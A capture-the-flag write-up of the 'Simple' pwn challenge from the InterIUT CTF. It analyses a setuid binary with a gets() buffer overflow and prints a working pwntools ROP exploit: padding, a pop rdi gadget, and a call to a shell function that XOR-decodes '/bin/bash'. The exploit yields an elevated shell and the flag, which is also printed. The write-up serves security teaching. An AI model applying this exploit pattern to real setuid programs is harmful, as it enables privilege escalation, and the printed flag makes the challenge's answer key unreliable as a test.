Simple - 50 points
Introduction
This challenge was the first pwn challenge of the CTF.
Statement:
Récupérez le contenu du fichier flag.txt situé sur le serveur simple.interiut.ctf en ssh avec l'utilisateur chall et le mot de passe chall.
Get the content of the flag.txt file on the server simple.interiut.ctf.
ssh chall@simple.interiut.ctf
password : chall
Author: Masterfox
Getting started
We start by connecting to the server using ssh and we can execute the binary to get a first idea of what it does. It is important to note that the binary has a suid bit set. It means we are probably going to need to exploit the binary to get elevated permissions.
$ ./challenge
AAAAAAAA
$
At the first sight, the binary doesn't do much. So we are going to disassemble it to understand it better how it works. So I will use scp to get the file from the machine.
Let's start by checking the securities on the ELF.
$ checksec --file=challenge
[*] '/home/woody/Documents/CTF/InterIUT/pwn/Simple/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
We can see it's a 64 bits ELF and that there is no PIE. Also there is no stack canary. Hence, we can assume there will be a buffer overflow vulnerability.
This being said, we can also see that the stack is not executable, which mean we won't be able to jump on a shellcode.
Now, I am going to use IDA Pro which is a great disassembling tool.
Here we can see the decompiled code, that I commented for easier understanding.
int __cdecl main(int argc, const char **argv, const char **envp)
{
__uid_t v3; // ebx
__uid_t v4; // eax
char v6[48]; // array of 45 chars
v3 = geteuid(); // effective uid
v4 = geteuid();
setreuid(v4, v3); // we set the real uid to the effective ui (suid)
gets(v6); // gets without any length verification -> buffer overflow
return 0;
}
We can also see there are 2 other functions that could be useful.
The heyo function that doesn't look like doing anything at the moment:
void heyo()
{
;
}
Hence the shell function that takes an argument and xor it to a value command, then it executes system on that xored value:
int __fastcall shell(char a1)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 8; ++i )
command[i] ^= a1;
return system(command);
}
Let's see what the command variable holds.
.data:0000000000404048 command db '+fmj+fewl'
The variable command holds '+fmj+fewl' which looks like '/bin/bash' xored.
We now have every thing in hands to solve the challenge.
Exploit
The first step will be finding the value to xor with command to get /bin/bash. I wrote a tiny python script to achieve this task.
from pwn import xor
command = '+fmj+fewl'
binbash = '/bin/bash'
print(xor(command, binbash))
This gives us 0x4
We will now need to xor command with 4 to get '/bin/bash'
We need to look at x86_64 calling convention to understand how to pass arguments to a function. The first (and only here) argument as to be passed through registers, rdi, rsi, rdx, rcx...
So we need to put 4 in rdi.
To do this we are going to use the heyo function. Here is the disassembled code of the function:
push rbp
mov rbp, rsp
pop rdi
retn
There is a pop rdi ! This mean we can put something in rdi so we can set an argument to the shell function !
To overflow the saved instruction pointer of the main function. So our payload will look like:
48 chars of junk + 8 chars (to overwrite rbp) + 8 chars to control rip (next address to jump to).
We are going to put 4 in rdi using heyo then we will call the shell function.
To achieve this easily, I wrote a simple python script.
from pwn import *
r = ssh('chall', 'simple.interiut.ctf', password='chall')
payload = b'A' * 56 # Junk to fill buffer and rbp
payload += p64(0x401156) # heyo -> pop rdi
payload += p64(0x4) # 4 -> value poped
payload += p64(0x40115B) # shell(4)
sh = r.run('sh')
sh.sendline('./challenge')
sh.sendline(payload)
sh.interactive()
We execute the script
python sol.py
[+] Connecting to simple.interiut.ctf on port 22: Done
[!] Only Linux is supported for ASLR checks.
[*] chall@simple.interiut.ctf:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'sh': Done
[*] Switching to interactive mode
$ priv@challenge-simple-5d457bc687-247p2:/challenge$ $ id
uid=666(priv) gid=1000(chall) groups=1000(chall)
priv@challenge-simple-5d457bc687-247p2:/challenge$ $ cat flag.txt
CTFIUT{StUP1de_s7up1DE_5tUpiDe!!}
And we successfuly get an elevated shell as priv ! We can then read the flag.